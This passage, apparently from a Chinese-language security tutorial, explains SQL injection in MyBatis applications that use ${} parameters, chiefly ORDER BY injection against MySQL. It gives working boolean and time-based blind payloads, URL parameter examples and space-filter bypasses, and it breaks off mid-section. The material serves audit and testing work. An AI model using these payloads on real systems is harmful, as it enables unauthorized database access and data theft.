写在前面
数据库:mysql
语言:java
代码审计发现,mybatis默认使用预编译#
传参,只有少部分语句无法直接使用#
传参,会报错,所以开发容易忽视这些地方,直接使用默认的.$
传参,这就是我们测试sql注入的重要关注点。
order by
like
in
注入点(Mysql)
Tip: http传参不能带空格,用+
代替
比如注释符,mysql的注释符是--空格
和#
,从前端输入sql语句用--+
,实际上经过url解码,传入数据库时变成--空格
普通参数注入
盲注
盲注三种类型
- 基于时间的
- 基于布尔的
- 基于报错的
orderby排序
order by
用在sql语句的最后,起一个排序的作用,不能直接用and 1=1
来判断
可以用if
语句、case when
、rand
order by
基本用盲注
布尔盲注
mysql> select * from admin order by if(1=1,username,password);
如果1=1
成立,按照username排序,反之根据password排序
替换1=1
可判断数据库名等操作
mysql> select * from admin order by if((substr((select user()),1,1)='r'),username,password);
不用if,用rand()
rand(0)和rand(1)
if((length(database())=5),rand(true),rand(false))
greatest(n1,n2…)返回最大的数,(其他函数见->大小于号绕过)
mysql> select * from user order by rand(greatest(ascii(substr(database(),1,1)),1)=103);
//判断数据库名第一位
延时注入
sleep()
是mysql数据库特有,sleep()在where语句中会执行多次,所以查询时间会成倍增长
if(布尔盲注语句,sleep(5),1)
可用benchmark(2000000,md5(404))
代替,执行md5(404)2000000次,大概3秒多
- 寻找注入点
?orderby=asc,if(now()=sysdate(),sleep(3),0)
//如果系统时间等于当前时间,则mysql查询休眠3秒,否则查询0
//另一种写法:
select * from test order by user_id,(select 1 from (select sleep(3))a)
?order=asc,if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))
//空格用 + 或 /**/ 替代
(select+1+from+(select+sleep(3))a)
(select/**/1/**/from/**/(select/**/sleep(3))a)
- 猜数据库长度,数据库名
?orderby